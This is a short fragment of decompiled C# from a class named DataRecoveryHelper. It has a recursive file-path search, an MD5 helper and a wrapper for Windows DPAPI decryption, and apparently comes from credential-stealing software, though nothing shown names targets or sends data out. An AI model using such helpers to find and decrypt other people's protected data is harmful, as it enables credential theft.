// Token: 0x06000480 RID: 1152 RVA: 0x000167C4 File Offset: 0x000149C4
        public static string GetMd5Hash(string source)
        {
            HashAlgorithm hashAlgorithm = new MD5CryptoServiceProvider();

            byte[] bytes = Encoding.ASCII.GetBytes(source);
            return(DataRecoveryHelper.GetHexString(hashAlgorithm.ComputeHash(bytes)));
        }
        // Token: 0x06000485 RID: 1157 RVA: 0x00016994 File Offset: 0x00014B94
        public static List <string> FindPaths(string baseDirectory, int maxLevel = 4, int level = 1, params string[] files)
        {
            List <string> list = new List <string>();

            if (files == null || files.Length == 0 || level > maxLevel)
            {
                return(list);
            }
            foreach (string path in Directory.GetDirectories(baseDirectory))
            {
                try
                {
                    DirectoryInfo directoryInfo = new DirectoryInfo(path);
                    FileInfo[]    files2        = directoryInfo.GetFiles();
                    bool          flag          = false;
                    int           num           = 0;
                    while (num < files2.Length && !flag)
                    {
                        int num2 = 0;
                        while (num2 < files.Length && !flag)
                        {
                            string   a        = files[num2];
                            FileInfo fileInfo = files2[num];
                            if (a == fileInfo.Name)
                            {
                                flag = true;
                                list.Add(fileInfo.FullName);
                            }
                            num2++;
                        }
                        num++;
                    }
                    foreach (string item in DataRecoveryHelper.FindPaths(directoryInfo.FullName, maxLevel, level + 1, files))
                    {
                        if (!list.Contains(item))
                        {
                            list.Add(item);
                        }
                    }
                }
                catch
                {
                }
            }
            return(list);
        }
 // Token: 0x06000483 RID: 1155 RVA: 0x00004C80 File Offset: 0x00002E80
 public static string DecryptBlob(string EncryptedData, DataProtectionScope dataProtectionScope, byte[] entropy = null)
 {
     return(DataRecoveryHelper.DecryptBlob(Encoding.Default.GetBytes(EncryptedData), dataProtectionScope, entropy));
 }